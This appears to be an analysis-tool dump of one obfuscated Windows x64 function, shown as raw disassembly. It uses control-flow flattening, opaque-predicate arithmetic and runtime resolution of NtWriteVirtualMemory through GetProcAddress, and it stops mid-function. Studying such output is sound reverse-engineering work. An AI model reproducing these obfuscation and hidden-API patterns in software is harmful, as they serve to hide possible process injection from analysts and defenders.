Function at 0x1400bd5f0
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rax, qword [0x140265008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov edx, dword [0x140265728]
mov r8d, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xbb80a880
and edx, ecx
and ecx, 0x447f577f
or ecx, ebp
mov ebp, ecx
xor ebp, 0x68425c
xor ecx, 0xbb80a880
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x44973da3
and ebp, 0xbb68c25c
or ebp, edi
or ecx, ebx
and ebx, 0x44973da3
and edx, 0xbb68c25c
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0xde7ae016
and ebx, edx
mov esi, edx
or esi, 0xde7ae016
mov edi, esi
not edi
mov ebp, ebx
not ebp
mov eax, ebp
and eax, 0x8cdbeea5
and ebx, 0x7324115a
or ebx, eax
or ebp, esi
and esi, 0x8cdbeea5
and edi, 0x21041148
or edi, esi
xor edi, ebx
not ebp
or ebp, edi
mov eax, ebp
not eax
and eax, 0x21851fe8
and ebp, 0xde7ae017
or ebp, eax
and ecx, 0xed97c70f
mov eax, edx
and eax, 0x126838f0
or eax, ecx
xor eax, 0xed97c70e
and edx, 1
or edx, eax
not edx
mov eax, ebp
and eax, edx
xor edx, ebp
or edx, eax
mov eax, edx
not eax
and edx, eax
mov ecx, eax
and ecx, edx
xor edx, eax
or edx, ecx
sete byte [rsp + 0x2e]
cmp r8d, 0xa
setl byte [rsp + 0x2f]
mov r13d, 0xebfcaab1
mov r12d, 0xac0d45ed
mov r14d, 0xf74feefc
mov r15d, 0x40ae724a
mov ecx, 0xc2f2b9d6
cmp ecx, 0x66e9ab4
jle 0x1400bd990
cmp ecx, 0x47160282
jle 0x1400bd910
cmp ecx, 0x657ed415
jg 0x1400bda86
cmp ecx, 0x55dfc6f9
jle 0x1400bdf51
cmp ecx, 0x5a2a9fc8
jle 0x1400be74a
cmp ecx, 0x5ee12e34
jle 0x1400bf5f4
cmp ecx, 0x61c0bca8
jle 0x1400c13e7
cmp ecx, 0x61c0bca9
je 0x1400c5763
cmp ecx, 0x64bd0e50
je 0x1400c591e
cmp ecx, 0x64feea89
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x5018b5fd
and edx, 0xafe74a02
or edx, ecx
mov ecx, edx
xor ecx, 0xafe74a02
mov ebp, edx
xor ebp, 0x40000061
and ebp, 0xe4400263
xor edx, 0xcea09f1d
and edx, ecx
and ecx, 0x1bbffd9c
or ecx, ebp
mov ebp, ecx
xor ebp, 0x1bbffd9c
mov ebx, ecx
xor ebx, 0x8507d77c
and ebx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0x20aa020
and edx, 0xfdf55fdf
or edx, ebx
xor edx, 0x9cb28ac1
and ebp, 1
xor ecx, 0x1bbffd9d
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x4a6616
mov ebp, ecx
and ebp, 0x8b11000
or ebp, edx
xor ebp, 0x8b11000
and ecx, 0xf70489e9
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xdc9433a1
and ecx, 0x236bcc5e
or ecx, edx
mov edx, ecx
xor edx, 0x9009848
xor ecx, 0xd06e0100
and ecx, 0xf2fe2300
and edx, 0xd01dcff
or edx, ecx
mov ecx, edx
xor ecx, 0x10154de
xor edx, 0xc2ee0000
and edx, 0xceee8821
and ecx, 0x311177de
or ecx, edx
xor ecx, 0xceee8821
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor al, dl
mov ebx, ecx
or bl, dl
xor cl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, al
xor al, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
or cl, dl
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0x48f3e34e
mov ebp, 0xf8728436
cmovne ecx, ebp
test bl, 1
mov edx, 0x48f3e34e
jmp 0x1400cbfc5
cmp ecx, 0x26ec9f9e
jle 0x1400bdf1c
cmp ecx, 0x36fc5aae
jle 0x1400be0e2
cmp ecx, 0x3f1cfda8
jle 0x1400be915
cmp ecx, 0x40ae7249
jle 0x1400bf787
cmp ecx, 0x437434d5
jle 0x1400c1599
cmp ecx, 0x437434d6
je 0x1400c5934
cmp ecx, 0x4484d3d4
je 0x1400c594a
cmp ecx, 0x44a29e79
jne 0x1400bd720
mov ecx, 0x7cd83767
cmp ecx, 0x66e9ab4
jg 0x1400bd72c
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xc0e29469
jg 0x1400bda10
cmp ecx, 0x9eaf235d
jg 0x1400bdb99
cmp ecx, 0x8d6b0f34
jle 0x1400be134
cmp ecx, 0x981cbbcb
jle 0x1400be96d
cmp ecx, 0x9a6ec954
jle 0x1400bf8c6
cmp ecx, 0x9c8f82d6
jle 0x1400c15c7
cmp ecx, 0x9c8f82d7
je 0x1400c5a29
cmp ecx, 0x9d01c148
je 0x1400c5a3f
cmp ecx, 0x9e69c9a7
jne 0x1400bd720
mov ecx, 0xc0e2946a
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0xdffae9df
jg 0x1400bdd99
cmp ecx, 0xcef5a53d
jle 0x1400be247
cmp ecx, 0xd59ecb77
jle 0x1400beb0a
cmp ecx, 0xde68ee9a
jle 0x1400bf900
cmp ecx, 0xde9fad3e
jle 0x1400c15f5
cmp ecx, 0xde9fad3f
je 0x1400c5bdb
cmp ecx, 0xdf70c077
je 0x1400c5d89
cmp ecx, 0xdf8d7067
jne 0x1400bd720
mov ecx, 0x7d442e69
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x70b5b771
jle 0x1400be299
cmp ecx, 0x7a83583f
jle 0x1400beb50
cmp ecx, 0x7d442e68
jle 0x1400bfa4d
cmp ecx, 0x7ddac214
jle 0x1400c172c
cmp ecx, 0x7ddac215
je 0x1400c5ed5
cmp ecx, 0x7e0584a1
je 0x1400c5eeb
cmp ecx, 0x7f9b5a62
jne 0x1400bd720
mov ecx, dword [0x140265728]
lea eax, [rcx - 1]
imul eax, ecx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
and edx, 0x6b145d18
and eax, 0x94eba2e7
or eax, edx
mov edx, eax
xor edx, 0x482a2e6
mov ebx, ecx
not ebx
mov ebp, ebx
and ebp, 0xf27d5111
and ecx, 0xd82aeee
or ecx, ebp
xor eax, 0x62145110
and eax, 0xf27d5111
and edx, 0xd82aeee
or edx, eax
xor edx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete al
setne cl
cmp dword [0x140265724], 9
setg dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
xor cl, 1
mov ebx, edx
xor bl, al
not bl
and bl, al
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor dl, cl
mov eax, edx
not al
and al, cl
mov ebx, eax
xor bl, dl
test dl, dl
mov ecx, 0x9908c653
mov edx, 0x8dbbfa1a
cmovne ecx, edx
test al, al
mov eax, 0x9908c653
jmp 0x1400c8dd0
cmp ecx, 0xb14be920
jle 0x1400be2f7
cmp ecx, 0xb6aa5195
jle 0x1400bec7d
cmp ecx, 0xbd4967dd
jle 0x1400bfa87
cmp ecx, 0xbe941978
jle 0x1400c186d
cmp ecx, 0xbe941979
je 0x1400c5fe0
cmp ecx, 0xc0db18cc
je 0x1400c614b
cmp ecx, 0xc0dbd4d9
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xd5fea056
and ecx, 0x2a015fa9
or ecx, edx
mov ebp, ecx
xor ebp, 0xd5fea056
xor ecx, 0xa014ea8
and ecx, 0xcb41ceee
mov ebx, ebp
and ebx, 0x34be3111
or ebx, ecx
mov edx, ebx
xor edx, 0x34be3111
xor ebx, 0x434008e8
mov ecx, edx
and ecx, 0x93e5a168
and ebp, 0x6c1a5e97
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x6c1a5e96
and ebp, 0x93e5a169
or ebp, ecx
and ebx, 0x57c209e9
mov ecx, edx
and ecx, 0xa83df616
or ecx, ebx
xor ecx, 0x57c209e8
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x78834e2a
and edx, 0x877cb1d5
or edx, ecx
mov ebx, edx
xor ebx, 0x806030c4
xor edx, 0x78834e2a
mov ecx, ebp
not ecx
mov edi, ecx
and edi, 0x71f8133
and ebp, 0xf8e07ecc
or ebp, edi
or ecx, edx
and edx, 0x71f8133
and ebx, 0xf8e07ecc
or ebx, edx
xor ebx, ebp
not ecx
or ecx, ebx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x72dbab13
and edx, ecx
and ecx, 0x8d2454ec
or ecx, ebp
xor ecx, 0x8d2454ec
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x464d34ac
and ecx, 0xb9b2cb53
or ecx, ebp
xor ecx, 0xb9b2cb53
or ecx, edx
cmp ecx, 0xffffffff
sete dl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
xor r8b, cl
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, r8b
mov r8d, ebx
xor r8b, 1
and al, dl
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ecx, ebx
and cl, r8b
and dl, al
mov r9d, ebx
and r9b, cl
xor cl, bl
or cl, r9b
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, cl
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x26ec9f9f
mov eax, 0x805bddb0
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0x26ec9f9f
jmp 0x1400cc8d4
cmp ecx, 0xf615178a
jle 0x1400be46e
cmp ecx, 0xfa6aa303
jle 0x1400bee19
cmp ecx, 0xc7ef68
jle 0x1400bfac1
cmp ecx, 0x35fb1ed
jle 0x1400c19f4
cmp ecx, 0x35fb1ee
je 0x1400c62cb
cmp ecx, 0x4ecde62
je 0x1400c6391
cmp ecx, 0x504a021
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x3065e075
and ecx, 0xcf9a1f8a
or ecx, edx
mov ebp, ecx
xor ebp, 0xcf9a1f8a
mov edx, ecx
xor edx, 0x30440061
xor ecx, 0xcf9a1f8b
and ecx, ebp
and edx, 0xfbde0d69
and ebp, 0x421f296
or ebp, edx
mov ebx, ebp
xor ebx, 0x421f007
mov edx, ecx
not edx
xor ebp, 0xfbde0d68
mov edi, edx
and edi, 0x11c07f8
and ecx, 0xfee3f807
or ecx, edi
or edx, ebp
and ebp, 0x11c07f8
and ebx, 0xfee3f807
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x3919e92d
and edx, 0xc6e616d2
or edx, ecx
mov ecx, edx
xor ecx, 0xc41242
xor edx, 0x3108a908
and ecx, 0x8d55267
and edx, 0xf72aad98
or edx, ecx
xor edx, 0xf72aad98
sete cl
setne r9b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg r10b
mov edx, r9d
and dl, r10b
mov ebx, r8d
and bl, cl
or bl, dl
xor r10b, bl
and r10b, bl
or r9b, r8b
xor cl, r8b
and cl, r8b
xor cl, 1
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
mov edx, r10d
xor dl, 1
and dl, cl
xor cl, 1
mov eax, r10d
xor al, cl
and al, r10b
and cl, r10b
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0xdc99a6fe
mov ebp, 0x70102cdb
cmovne ecx, ebp
test al, al
mov eax, 0xdc99a6fe
jmp 0x1400bfa42
cmp ecx, 0x13f129ff
jg 0x1400be616
cmp ecx, 0xe872a7d
jle 0x1400bf5ae
cmp ecx, 0x10f77458
jg 0x1400c1250
cmp ecx, 0xe872a7e
je 0x1400cc8fe
jmp 0x1400bd720
cmp ecx, 0x4f84e66d
jg 0x1400bef04
cmp ecx, 0x4ae4ee25
jg 0x1400bfc5a
cmp ecx, 0x48e4c48d
jg 0x1400c1b47
cmp ecx, 0x47160283
je 0x1400c63a7
cmp ecx, 0x484c7c66
jne 0x1400bd720
mov edx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xc3b8649a
mov ebx, ecx
and ebx, 0x3c479b64
or ebx, ebp
xor ebx, 0x3c479b64
mov ebp, ecx
and ebp, 1
or ebp, ebx
and edx, 0x90db0a7a
and ecx, 0x6f24f585
or ecx, edx
mov edx, ecx
xor edx, 0x6f24f585
xor ecx, 0x90db0a7a
and ecx, ebp
not ebp
and edx, ebp
or ecx, edx
not ecx
or ecx, ebp
cmp ecx, 0xffffffff
setne r9b
sete r10b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov edx, eax
xor dl, r8b
and dl, al
mov r11d, edx
xor r11b, 1
mov ebx, r11d
and bl, dl
mov ecx, ebx
xor cl, 1
xor bl, dl
or cl, r11b
xor cl, 1
or cl, bl
mov edx, r10d
mov ebx, eax
xor bl, r10b
and bl, al
and al, r10b
or r10b, cl
xor r10b, 1
xor dl, cl
xor dl, 1
and dl, cl
mov ecx, r10d
and cl, dl
xor dl, r10b
or dl, cl
and r9b, r8b
or al, r9b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
not cl
and cl, al
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov r8d, ecx
xor r8b, 1
mov ebx, edx
xor bl, 1
mov eax, edx
and al, bl
mov r9d, ecx
and r9b, r8b
mov r10d, eax
and r10b, dl
xor al, dl
or al, r10b
mov edx, r9d
xor dl, 1
xor r9b, cl
or dl, r8b
xor dl, 1
or dl, r9b
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
and dl, al
or dl, cl
mov eax, ebx
and al, r8b
xor bl, r8b
or bl, al
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x6faf54c4
mov ebp, 0xebfcaab1
cmovne ecx, ebp
test dl, 1
mov r13d, 0xebfcaab1
cmove ecx, ebp
test al, 1
mov eax, 0x6faf54c4
jmp 0x1400cc8d4
cmp ecx, 0x2e23b314
jg 0x1400bf06c
cmp ecx, 0x2a29e315
jg 0x1400bfd65
cmp ecx, 0x28637270
jg 0x1400c1d23
cmp ecx, 0x26ec9f9f
je 0x1400c64e1
cmp ecx, 0x2818ae51
jne 0x1400bd720
mov ecx, 0x5862ba0d
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x88c9abe1
jg 0x1400bf0b2
cmp ecx, 0x864e63da
jg 0x1400bfd9f
cmp ecx, 0x827f8c69
jg 0x1400c1f0a
cmp ecx, 0x805bddb0
je 0x1400c65d6
cmp ecx, 0x80f17333
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
or edx, 0xc79b708e
mov ebx, edx
not ebx
mov ebp, edi
or ebp, 0x38648f71
mov ecx, ebp
not ecx
and edx, 0xfd12780d
and ebx, 0x648770
or ebx, edx
and ebp, 0xfd12780d
and ecx, 0x2890082
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xc79b708f
and ecx, 0x38648f70
or ecx, edx
not ecx
mov edx, ecx
and edx, edi
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
and edx, 0x500f231
and ecx, 0xfaff0dce
or ecx, edx
xor ecx, 0xfaff0dce
setne bl
sete r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov eax, edx
and bl, dl
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
mov edx, eax
not dl
and cl, r8b
or bl, cl
mov ecx, ebx
xor cl, 1
and bl, al
or al, cl
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xdffae9e0
mov ebp, 0x37452e29
cmovne edx, ebp
test cl, cl
mov ecx, edx
mov ebp, 0xdffae9e0
jmp 0x1400c8204
cmp ecx, 0xc7c072a6
jg 0x1400bf0f8
cmp ecx, 0xc4a144e4
jg 0x1400bfe82
cmp ecx, 0xc2f2b9d5
jg 0x1400c2093
cmp ecx, 0xc0e2946a
je 0x1400c65ec
cmp ecx, 0xc2260785
jne 0x1400bd720
mov ecx, 0x80f17333
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x6c7b4fcd
jg 0x1400bf2c5
cmp ecx, 0x67b707f2
jg 0x1400bffaa
cmp ecx, 0x660e5c37
jg 0x1400c21ff
cmp ecx, 0x657ed416
je 0x1400c668f
cmp ecx, 0x65bdd0ef
jne 0x1400bd720
mov rax, qword [rsp + 0x38]
mov qword [0x140265060], rax
mov ecx, 0x1c680ec3
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0xab534aea
jg 0x1400bf4dc
cmp ecx, 0xa57bc2ad
jg 0x1400c00a4
cmp ecx, 0xa4d25589
jg 0x1400c222d
cmp ecx, 0x9eaf235e
je 0x1400c67fd
cmp ecx, 0xa05ea654
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov r9d, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov ebx, ebp
xor ebx, 0xfffffffe
and ebx, ebp
mov edx, ebp
or edx, 1
mov edi, ebx
not edi
mov esi, edx
and esi, 0x34ccca17
mov eax, ecx
and eax, 0xcb3335e8
or eax, esi
or edx, edi
and edi, 0x34ccca17
and ebx, 0xcb3335e8
or ebx, edi
xor ebx, eax
not edx
or edx, ebx
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0x291274f9
and edx, 0xd6ed8b06
or edx, eax
and ebp, 0x291274f9
and ecx, 0xd6ed8b06
or ecx, ebp
xor ecx, edx
not ecx
or ecx, ebx
cmp ecx, 0xffffffff
sete r8b
setne r11b
cmp r9d, 0xa
setl r10b
cmp r9d, 9
setg cl
mov ebx, r11d
xor bl, r8b
and bl, r11b
mov edx, ebx
xor dl, 1
mov eax, edx
and al, bl
xor al, 1
mov r9d, ebx
xor r9b, al
or al, bl
xor al, 1
or al, r9b
or dl, bl
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
mov eax, edx
or al, cl
xor al, 1
xor dl, cl
not dl
and dl, cl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, ecx
xor al, r8b
and al, cl
and r10b, r11b
and cl, r8b
or cl, r10b
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov eax, ebx
and al, cl
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, edx
xor bl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test cl, 1
mov ecx, 0xab534aeb
mov ebp, 0x8b1b4eb1
cmovne ecx, ebp
test bl, 1
mov edx, 0xab534aeb
jmp 0x1400ca5c7
cmp ecx, 0xe5ffea6b
jg 0x1400bf522
cmp ecx, 0xe2e265a8
jg 0x1400c01c6
cmp ecx, 0xe1c1c7f6
jg 0x1400c2392
cmp ecx, 0xdffae9e0
je 0x1400c693d
cmp ecx, 0xe171115e
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
mov edx, ebp
xor edx, 0x50a17f1d
and edx, ebp
not ebp
and ebp, 0x50a17709
and ecx, 0x814
or ecx, ebp
xor ecx, 0x814
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xaf5e80e2
and edx, 0x50a17f1d
or edx, ecx
mov ebp, edx
xor ebp, 1
and ebp, edx
mov ecx, edx
not ecx
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
not ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x86484c00
and ebp, 0x79b7b3ff
or ebp, edi
or ecx, ebx
and ebx, 0x86484c00
and edx, 0x79b7b3ff
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x406819d5
and edx, ecx
and ecx, 0xbf97e62a
or ecx, ebp
mov ebp, ecx
xor ebp, 0x2802c628
xor ecx, 0x406819d5
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xd7b539d3
and ebp, 0x284ac62c
or ebp, edi
or ecx, ebx
and ebx, 0xd7b539d3
and edx, 0x284ac62c
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x6c6fe885
and edx, 0x9390177a
or edx, ecx
mov ecx, edx
xor ecx, 0x2c684884
xor edx, 0x92001472
and edx, 0xd207b473
and ecx, 0x2df84b8c
or ecx, edx
xor ecx, 0x2df84b8c
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
or bl, r8b
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, 1
mov edx, eax
or dl, cl
xor cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xc7ef69
mov ebp, 0x342359e2
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0xc7ef69
jmp 0x1400cc4de
cmp ecx, 0x1d003c89
jg 0x1400bf568
cmp ecx, 0x190eded7
jg 0x1400c0200
cmp ecx, 0x1591839b
jg 0x1400c249e
cmp ecx, 0x13f12a00
je 0x1400c6a66
cmp ecx, 0x1556ceda
jne 0x1400bd720
mov ecx, dword [0x140265728]
lea eax, [rcx - 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x82238ac1
mov ebp, eax
and ebp, 0x20402002
or ebp, ecx
xor ebp, 0x20402002
mov ecx, eax
xor ecx, 0xa263aac3
and ecx, eax
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x5d9c553d
and ecx, 0xa263aac2
or ecx, ebp
and edx, 0x814a1d68
and eax, 0x7eb5e297
or eax, edx
mov edx, eax
xor edx, 0x7eb5e297
xor eax, 0x814a1d68
and eax, ecx
not ecx
and edx, ecx
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete r8b
setne al
cmp dword [0x140265724], 0xa
setl cl
mov ebx, eax
or bl, cl
xor al, cl
not al
and al, cl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, ecx
or dl, r8b
xor cl, r8b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and cl, bl
or bl, dl
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x3341535b
mov ecx, 0xe2cc13a
cmovne eax, ecx
test dl, 1
mov ecx, eax
mov edx, 0x3341535b
cmovne ecx, edx
jmp 0x1400c077e
cmp ecx, 0x577a7011
jg 0x1400c023a
cmp ecx, 0x567c7ea0
jg 0x1400c24cc
cmp ecx, 0x55dfc6fa
je 0x1400c6b9f
cmp ecx, 0x55faf1d0
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
or edx, 0x2ec4c7d4
mov ebx, edx
not ebx
or ebp, 0xd13b382b
mov ecx, ebp
not ecx
and edx, 0x290b14cf
and ebx, 0xd0302820
or ebx, edx
and ebp, 0x290b14cf
and ecx, 0x6c4c310
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x7ca58a6
and ecx, 0xf835a759
or ecx, edx
mov edx, ecx
xor edx, 0x290e9f72
mov ebp, ecx
xor ebp, 0x290e9f73
and ebp, edx
xor ecx, 0xd6f1608c
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0xdb3e9186
and ebp, edx
not edx
and edx, 0x81208102
and ecx, 0x5a1e1084
or ecx, edx
mov edx, ecx
not edx
xor ecx, 0xa5e1ef7b
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x8bfb93c6
and edx, 0x50040000
or edx, edi
or ecx, ebx
and ebx, 0x8bfb93c6
and ebp, 0x74046c39
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x77ba035e
and ecx, 0x8845fca1
or ecx, edx
mov edx, ecx
xor edx, 0x1686400
xor ecx, 0xac8410d8
and ecx, 0xfe9719ff
and edx, 0x168e600
or edx, ecx
mov ecx, edx
xor ecx, 0x1408400
xor edx, 0x30121116
and edx, 0x303a7316
and ecx, 0xcfc58ce9
or ecx, edx
xor ecx, 0x303a7316
cmp ecx, 0xffffffff
setne cl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
xor al, 1
or r8b, al
mov r9d, r8d
xor r9b, 1
or cl, bl
and al, bl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
xor al, 1
mov edx, r9d
and dl, r8b
mov ecx, edx
and cl, r9b
xor dl, r9b
or dl, cl
xor dl, al
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0xfe614512
mov eax, 0x6c7b4fce
cmovne ecx, eax
test dl, 1
cmovne ecx, eax
not bl
test bl, 1
mov eax, 0xfe614512
jmp 0x1400cc8d4
cmp ecx, 0x3ad94a05
jg 0x1400c0431
cmp ecx, 0x37f35ae0
jg 0x1400c2602
cmp ecx, 0x36fc5aaf
je 0x1400c6c9f
cmp ecx, 0x37452e29
jne 0x1400bd720
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xdffae9e0
cmp ecx, 0x66e9ab4
jle 0x1400bd990
jmp 0x1400bd72c
cmp ecx, 0x91092244
jg 0x1400c0598
cmp ecx, 0x8f41b7b5
jg 0x1400c2850
cmp ecx, 0x8d6b0f35
je 0x1400c6de9
cmp ecx, 0x8dbbfa1a
jne 0x1400bd720
mov ecx, dword [0x140265728]
mov eax, dword [0x140265724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x57b2fa8c
and ebp, 0xa84d0573
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x4d3d690d
and ebp, 0xb2c296f2
or ebp, ecx
mov edx, ebp
xor edx, 0xe5706c7e
xor ebp, 0x820300
mov ebx, edx
and ebx, 0xfffffffe
and ebp, 0x64b20f58
and edx, 0x9b4df0a7
or edx, ebp
xor edx, 0x9b4df0a6
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0x2121877b
mov ecx, ebx
not ecx
or edx, 0xca884004
and edx, 0xeb88c61e
and ebp, 0x210161
or ebp, edx
and ebx, 0xeb88c61e
and ecx, 0x14563880
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0x154f7a63
and ecx, 0xeab0859c
or ecx, edx
mov edx, ecx
xor edx, 0x3100063
xor ecx, 0x346efd18
mov ebp, ecx
and ebp, 0xfc89a394
and edx, 0x3765c6b
or edx, ebp
xor edx, 0x3765c6b
or edx, ecx
cmp edx, 0xffffffff
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov edx, eax
and dl, cl
mov r10d, eax
xor r10b, cl
or r10b, dl
xor al, r9b
not al
and al, r9b
xor cl, r8b
not cl
and cl, r8b
mov edx, eax
xor dl, 1
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov ebx, eax
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor dl, 1
